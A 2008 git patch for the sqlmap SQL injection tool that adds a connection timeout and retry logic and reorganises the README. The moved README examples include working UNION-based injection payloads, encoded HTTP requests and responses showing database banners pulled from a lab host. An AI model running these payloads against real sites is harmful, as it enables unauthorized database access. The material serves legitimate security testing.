From 7f055924a71351f13bbc11a3cbd51d69787988dd Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Date: Thu, 4 Dec 2008 17:40:03 +0000
Subject: [PATCH] sqlmap 0.6.3-rc4: Minor enhancement to be able to specify the
number of seconds before timeout the connection, default is set to 10
seconds. Minor improvement to retry the HTTP request up to three times in
case an exception is raised during the connection to the target url. Minor
bug fix to correctly catch connection exceptions and notify to the user also
if they occur within a thread. Minor code restyling. Updated documentation.
---
doc/ChangeLog | 17 +-
doc/README.html | 526 ++++++++++++++++--------------
doc/README.pdf | Bin 293015 -> 296122 bytes
doc/README.sgml | 492 +++++++++++++++-------------
doc/THANKS | 1 +
lib/core/exception.py | 5 +
lib/core/option.py | 29 +-
lib/core/optiondict.py | 14 +-
lib/core/settings.py | 6 +-
lib/parse/cmdline.py | 43 ++-
lib/parse/configfile.py | 12 +-
lib/request/connect.py | 61 ++--
lib/request/inject.py | 6 +-
lib/techniques/blind/inference.py | 79 ++++-
lib/techniques/blind/timebased.py | 4 +-
sqlmap.conf | 24 +-
16 files changed, 748 insertions(+), 571 deletions(-)
diff --git a/doc/ChangeLog b/doc/ChangeLog
index 509a41a92..4bebfcfbe 100644
--- a/doc/ChangeLog
+++ b/doc/ChangeLog
@@ -13,6 +13,8 @@ sqlmap (0.6.3-1) stable; urgency=low
the web application technology by parsing some HTTP response headers;
* Minor enhancement to fingerprint the back-end DBMS operating system by
parsing the DBMS banner value when -b option is provided;
+ * Minor enhancement to be able to specify the number of seconds before
+ timeout the connection, default is set to 10 seconds;
* Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request providing option --delay #;
* Minor enhancement to be able to enumerate table columns and dump table
@@ -23,15 +25,20 @@ sqlmap (0.6.3-1) stable; urgency=low
client HTTP headers (Accept, Accept-Encoding, etc);
* Minor improvements to sqlmap Debian package files: sqlmap uploaded
to official Debian project repository, on queue at the moment;
- * Major bug fix to correctly handle httplib.BadStatusLine exception;
- * Minor bug fix to handle session.error and session.timeout in HTTP
- requests;
- * Minor bug fix so that when the user provide a SELECT statement to be
+ * Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
+ library if available to speed up the sqlmap algorithmic operations;
+ * Minor improvement to retry the HTTP request up to three times in case
+ an exception is raised during the connection to the target url;
+ * Major bug fix to correctly enumerate columns on Microsoft SQL Server;
+ * Major bug fix so that when the user provide a SELECT statement to be
processed with an asterisk as columns, now it also work if in the FROM
there is no database name specified;
- * Minor bug fix to correctly enumerate columns on Microsoft SQL Server;
* Minor bug fix to correctly dump table entries when the column is
provided;
+ * Minor bug fix to correctly handle session.error, session.timeout and
+ httplib.BadStatusLine exceptions in HTTP requests;
+ * Minor bug fix to correctly catch connection exceptions and notify to
+ the user also if they occur within a thread;
* Increased default output level from 0 to 1;
* Updated documentation.
diff --git a/doc/README.html b/doc/README.html
index da2b257be..bdc54239e 100644
--- a/doc/README.html
+++ b/doc/README.html
@@ -37,14 +37,15 @@ for the latest version.
@@ -84,10 +85,13 @@ Windows users can download and install the Python setup-ready installer
for x86, AMD64 and Itanium too.
Optionally, if you are running sqlmap on Windows, you may wish to install
PyReadline
-to be able to take advantage of the sqlmap TAB completion and history
-support functionalities in the SQL shell and OS shell.
+library to be able to take advantage of the sqlmap TAB completion and
+history support functionalities in the SQL shell and OS shell.
Note that these functionalities are available natively by Python official
-readline library on other operating systems.
+readline library on other operating systems.
+You can also choose to install
+Psyco
+library to speed up the sqlmap algorithmic operations.
1.2 Scenario
@@ -348,20 +352,25 @@ $ python sqlmap.py -h
sqlmap/0.6.3 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
-
-Usage: sqlmap.py [options] {-u "<URL>" | -g "<google dork>" | -c "<config file>"}
+
+Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
- Request:
- These options have to be specified to set the target url, HTTP method,
- how to connect to the target url or Google dorking results in general.
+ Target:
+ At least one of these options has to be specified to set the source to
+ get target urls from.
-u URL, --url=URL Target url
+ -l LIST Parse targets from Burp or WebScarab logs
-g GOOGLEDORK Process Google dork results as target urls
- -p TESTPARAMETER Testable parameter(s)
+ -c CONFIGFILE Load options from a configuration INI file
+
+ Request:
+ These options can be used to specify how to connect to the target url.
+
--method=METHOD HTTP method, GET or POST (default: GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
@@ -373,8 +382,10 @@ Options:
--proxy=PROXY Use a HTTP proxy to connect to the target url
--threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
+ --timeout=TIMEOUT Seconds to wait before timeout connection (default 10)
Injection:
+ -p TESTPARAMETER Testable parameter(s)
--string=STRING String to match in page when the query is valid
--dbms=DBMS Force back-end DBMS to this value
@@ -385,11 +396,11 @@ Options:
--time-test Test for Time based blind SQL injection
--union-test Test for UNION query (inband) SQL injection
- --union-use Use the UNION query (inband) SQL injection to
- retrieve the queries output. No need to go blind
+ --union-use Use the UNION query (inband) SQL injection to retrieve
+ the queries output. No need to go blind
Fingerprint:
- -f, --fingerprint Perform an extensive database fingerprint
+ -f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
@@ -438,10 +449,9 @@ Options:
Miscellaneous:
--eta Retrieve each query output length and calculate the
estimated time of arrival in real time
- -v VERBOSE Verbosity level: 0-5 (default 0)
+ -v VERBOSE Verbosity level: 0-5 (default 1)
--update Update sqlmap to the latest stable version
-s SESSIONFILE Save and resume all data retrieved on a session file
- -c CONFIGFILE Load options from a configuration INI file
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
@@ -449,7 +459,7 @@ Options:
-5.1 Request
+
Target URL
@@ -675,7 +685,7 @@ Content-Type: text/html
-List of targets
+Parse targets from Burp or WebScarab logs
Option: -l
@@ -725,90 +735,33 @@ want to test this url? [y/N/q] y
-Testable parameter(s)
+Load options from a configuration INI file
-Option: -p
+Option: -c
-By default sqlmap tests all GET parameters, POST
-parameters, HTTP Cookie header values and HTTP User-Agent
-header value for dynamicity and SQL injection vulnerability, but it is
-possible to manually specificy the parameter(s) you want sqlmap to perform
-tests on comma separeted in order to skip dynamicity tests and perform SQL
-injection test and inject directly only against the provided parameter(s).
-Example on a PostgreSQL 8.2.7 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
- -p "id"
-
-[hh:mm:48] [INFO] testing connection to the target url
-[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:49] [INFO] url is stable
-[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] GET parameter 'id' is dynamic
-[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
-
-
-
-Or, if you want to provide more than one parameter, for instance:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
- -p "cat,id"
-
-
-
-
-You can also test only the HTTP User-Agent header.
+It is possible to pass user's options from a configuration INI file, an
+example is sqlmap.conf.
Example on a MySQL 5.0.51 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
- -p "user-agent" --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
+$ python sqlmap.py -c "sqlmap.conf"
-[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
-[hh:mm:40] [INFO] testing connection to the target url
-[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:41] [INFO] url is stable
-[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
-[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
-[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
-[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:41] [INFO] testing MySQL
-[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
-[hh:mm:41] [INFO] retrieved: 44
-[hh:mm:41] [INFO] performed 20 queries in 0 seconds
-[hh:mm:41] [INFO] confirming MySQL
-[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
-[hh:mm:41] [INFO] retrieved: 1
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
-[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:41] [INFO] retrieved: 4
-[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS: MySQL >= 5.0.0
+Note that if you also provide other options from command line, those are
+evaluated when running sqlmap and overwrite the same options, if set, in
+the configuration file provided.
+
+
+
HTTP method: GET or POST
@@ -1213,162 +1166,102 @@ seven HTTP requests, the maximum to retrieve a query output character.
request. The valid value is a float, for instance 0.5.
-5.2 Techniques
+Seconds to wait before timeout connection
+
+
Option: --timeout
+
+It is possible to specify a number of seconds to wait before considering
+the HTTP connection timed out. The valid value is a float, for instance
+10.5.
+
+
+
-Test for Time Based Blind SQL injection
+Testable parameter(s)
-Option: --time-test
-
-TODO
-
-
-Test for UNION query SQL injection
-
-Option: --union-test
-
-It is possible to test if the target URL is affected by an inband
-SQL injection vulnerability.
-Refer to the Techniques section for details on this SQL injection
-technique.
-
-Example on an Oracle XE 10.2.0.1 target:
-
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
- --union-test -v 1
-
-[...]
-back-end DBMS: Oracle
-
-[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
-NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
-
-
-
+Option: -p
+By default sqlmap tests all GET parameters, POST
+parameters, HTTP Cookie header values and HTTP User-Agent
+header value for dynamicity and SQL injection vulnerability, but it is
+possible to manually specificy the parameter(s) you want sqlmap to perform
+tests on comma separeted in order to skip dynamicity tests and perform SQL
+injection test and inject directly only against the provided parameter(s).
Example on a PostgreSQL 8.2.7 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
- --union-test -v 1
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "id"
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
[...]
-back-end DBMS: PostgreSQL
-
-[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
-NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
-As you can see, the target URL parameter id might be also
-affected by an inband SQL injection.
-In case this vulnerability is exploitable it is strongly recommended to
-use it.
-
-Use the UNION query SQL injection
-
-Option: --union-use
-
-Providing the --union-use parameter, sqlmap will first test if
-the target URL is affected by an inband SQL injection
-(--union-test) vulnerability then, in case it is vulnerable and
-exploitable, it will trigger this vulnerability to retrieve the output of
-the SELECT queries.
-
-Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+Or, if you want to provide more than one parameter, for instance:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
- --union-use --banner
-
-[...]
-back-end DBMS: Microsoft SQL Server 2000
-
-[hh:mm:42] [INFO] fetching banner
-[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
-[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
-[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
-CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
-CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [INFO] performed 3 queries in 0 seconds
-banner:
----
-Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
- Aug 6 2000 00:57:48
- Copyright (c) 1988-2000 Microsoft Corporation
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
----
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "cat,id"
-As you can see, the vulnerable parameter (id) is affected by both
-blind SQL injection and exploitable inband SQL injection vulnerabilities.
+You can also test only the HTTP User-Agent header.
Example on a MySQL 5.0.51 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
- --union-use --banner
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
+ -p "user-agent" --user-agent "sqlmap/0.6.3 (http://sqlmap.sourceforge.net)"
-[...]
-[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
-vulnerability
-[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
-IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
-AND 6043=6043
-[hh:mm:25] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
-%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
-%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
-06043=6043&cat=2 HTTP/1.1
-Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
-Connection: close
-
-[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Mon, 28 Jul 2008 22:34:25 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
-Content-Length: 194
-Connection: close
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
-</table>
-</body></html>
-
-[hh:mm:25] [INFO] performed 3 queries in 0 seconds
-banner: '5.0.51a-3ubuntu5.2'
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
-As you can see, the MySQL version() function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
-
-
-
String match
@@ -1564,7 +1457,161 @@ back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.
-Option: --time-test
+
+TODO
+
+
+Test for UNION query SQL injection
+
+Option: --union-test
+
+It is possible to test if the target URL is affected by an inband
+SQL injection vulnerability.
+Refer to the Techniques section for details on this SQL injection
+technique.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: Oracle
+
+[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
+NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
+ --union-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
+NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
+
+
+
+
+As you can see, the target URL parameter id might be also
+affected by an inband SQL injection.
+In case this vulnerability is exploitable it is strongly recommended to
+use it.
+
+Use the UNION query SQL injection
+
+Option: --union-use
+
+Providing the --union-use parameter, sqlmap will first test if
+the target URL is affected by an inband SQL injection
+(--union-test) vulnerability then, in case it is vulnerable and
+exploitable, it will trigger this vulnerability to retrieve the output of
+the SELECT queries.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
+ --union-use --banner
+
+[...]
+back-end DBMS: Microsoft SQL Server 2000
+
+[hh:mm:42] [INFO] fetching banner
+[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
+[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
+CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
+[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+As you can see, the vulnerable parameter (id) is affected by both
+blind SQL injection and exploitable inband SQL injection vulnerabilities.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
+ --union-use --banner
+
+[...]
+[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
+vulnerability
+[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
+IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
+AND 6043=6043
+[hh:mm:25] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
+%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
+%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
+06043=6043&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Mon, 28 Jul 2008 22:34:25 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 194
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
+</table>
+</body></html>
+
+[hh:mm:25] [INFO] performed 3 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, the MySQL version() function (banner) output is
+nested (inband) within the HTTP response page, this makes the inband SQL
+injection exploitable.
+
+
+5.5 Fingerprint
Extensive database management system fingerprint
@@ -1779,7 +1826,7 @@ parsing library that fetches data from Chip Andrews'
SQLSecurity.com site and outputs it to the XML versions file.
-5.5 Enumeration
+5.6 Enumeration
Banner
@@ -2250,7 +2297,7 @@ databases tables, only the users' schema that the web application's user
is connected to, which is always public.
-Dump database tables entries
+Dump database table entries
Options: --dump, -C, -T, -D,
--start and --stop
@@ -2349,8 +2396,8 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
-You can also provide the --start and/or the --stop option
-to limit the dump to a range of entries.
+You can also provide the --start and/or the --stop
+options to limit the dump to a range of entries.
--start specifies the first entry to enumerate
@@ -2859,7 +2906,7 @@ column names of the table then asks if the query can return multiple
entries and goes on.
-5.6 File system access
+5.7 File system access
Read a specific file content
@@ -2867,8 +2914,8 @@ entries and goes on.
Option: --read-file
If the back-end database management system is MySQL and the current user
-has access to the LOAD_FILE() function, it is possible to read
-the content of a specific file from the file system.
+has FILE access (access to LOAD_FILE() builtin function),
+it is possible to read the content of a specific file from the file system.
Example on a MySQL 5.0.51 target:
@@ -2903,7 +2950,7 @@ inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
-5.7 Operating system access
+5.8 Operating system access
Prompt for an interactive operating system shell
@@ -2941,7 +2988,7 @@ $ exit
functionalities of SQL shell.
-5.8 Miscellaneous
+5.9 Miscellaneous
Estimated time of arrival
@@ -3199,27 +3246,6 @@ banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.
-Load options from a configuration INI file
-
-
Option: -c
-
-It is possible to pass user's option from a configuration INI file, an
-example is sqlmap.conf.
-
-Example on a MySQL 5.0.51 target:
-
-
-
-$ python sqlmap.py -c "sqlmap.conf"
-
-[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
-back-end DBMS: MySQL >= 5.0.0
-
-
-
-
-
Save options on a configuration INI file
Option: --save
diff --git a/doc/README.pdf b/doc/README.pdf
index d418440f690f8e67b5376e827771a58164401eef..cf0e1ba9efcd3e6eb1daaeda4e64cb94d925439d 100644
GIT binary patch
delta 138223
zcmZ^~bwE{H^FK^?cXQ|zPM}Nl14$N+==CAyhz`jUXu?N{S!~h=PQK(j^E21|Ths
zfatsN-upb)=lgsA+Gp=IYtEWkYwh*<%*@W&p>IiKsCz{~Z0h9i;nvViK!h)9=;R;Z
z1_?ZW5EuY)_xJOGs0R68h4}eHEZm$;T%7!!oFU$R9>5e~2Qbcv0Gf%ofqMkxz)w}{n3I1{7EqQ
zzyDMKE`|Q14g1d^wM|V8Ay@tVLP7y6QaB-83In8(vH&Wie84m*H=s;G1wO+9zrbe?
zNRfaTnYf(Hzcs<2(0^2!xViZGx&}Z3{UE_kUV#v2H+MgO(2rg|Zhk?55U|k~NG7`g
zq)F5MV>}Fs1Rj%f0+i%p42VDd0)t|KbRtn8gq#N)1sCv$oC2VxU?z~`0gAsS;S~ifU`Ig?pz#@jyA>g4O|<_}O)BN)*C
zGYk|QxJbnVgi?!vO@CUCLId}y_!R6eh(8!q^Bi>L!rPp-30)~
zz;iAHj?tch6;Psw067ejfE@!Z_#~fR1(cHkP2)V5f&O6}90vbqsq1?MxVU+HJNbeu
zJK#SX91a6VAj%-~=R$^q>(hrp0w84)1DpOBIUEiSi9sG8e(o-?@sF8>!;!#6MonOm
zi37MwL<=_mF}rYZX{s{G0dQvaznlMKt^&=PMa
za5wn>*9^qD)7UZzNX7nG3UK6qwz^7Cpr@bzzbpra3D_8I;K*|i8ABk_n&AGo1K)Bv
z#c)EFoS&WqWQ0gGGzUM4Kn&Psrp4`!+IfrA%H<-T-C5;dC3px)OcZghz^h=)2N@jE*N+dJH7PuJhq9ra5vkTTsDE#+rRjk`+%V-;OSvZclz
zIfY{K``vKuS2@fdj49n|EW8o$o;Urf(HpB@-#&e7&FPxAON%z-O1CDtpFoFWaosD5
z?71&kEb7ERBF=X7b3acby%bq$bpNhkf=H)W+vd374`a$;IZ0jB9
zRIJDJJw%B+Mkn87^{;h*`^*6n+^TM0l&`4GmxzbDcZ#IBBem!JNtS>o;cSE0?r!B3
zW|v>;ZkK)IgJ*f$ACGOpy0P`UI49>fGq0~g9qDfyZ!Mz=mLIJ9X;Iwsn6$l+96s?9
zJ|4FCL50RdVs6v+UBU~+sL~NP){9i4Pn!pnZ@c+Z;z=-%d@6|lYH}xXW@NbYfrch4
zubKOGiCmU|XIYGs*~6XJoI1vAO!9SHRwYtioNa7t(Wp?2$vDfG@~F~eVexRoF@l<^
z_dmv}nJ7Y~(pAt_#pJhhSyfNsvTkovxQ>i?QVLOPnYnK;Oy4D-!XLfcp?}5~ZaCL-
znMB!zXq?*dW(hX6)to4d{2}tCd9Yb6Gt{rdO5d3{Ut2&osr@^rw7mY&=|?5|pG_x?
z)bjkRx1aW$K6?i}lt)z)8V!%*^dGVqf7M9h&EVn7R>FD>0O$=7Nz>eCHLLuus!jV}
zj@>Q9tGZNCkp%ro=48VYibul}TN=^Ie>t;*dwDbg#vU52jBX4rnufw(0%U7%V@6qh{Os(^9lZSni`4Urg
zkKG^TIjHX^L}-b0rm^tGZLwXPS_?O8^oMBo7X{>s94c(G#
z`27CQn5p5ITRNp=p9J62;64W4(U|F6>Fie8x&oQ-d|f-<*Wl^QG7Irbf^petX?m(yWPv*Gyu%5nsKC4%?e
z{GE%m_Iexa+WA;ML-ju2&t$?sh+-E@1Xb`p*9d$_jMSC|+=_y>)l_gHPj5#zQf-p?
zi8+so6WA{@-ecPgta$=A!C^B!#)PV76XjD<`$TQ_jkq$uUpv{jo}VzYukpy+jr;+l
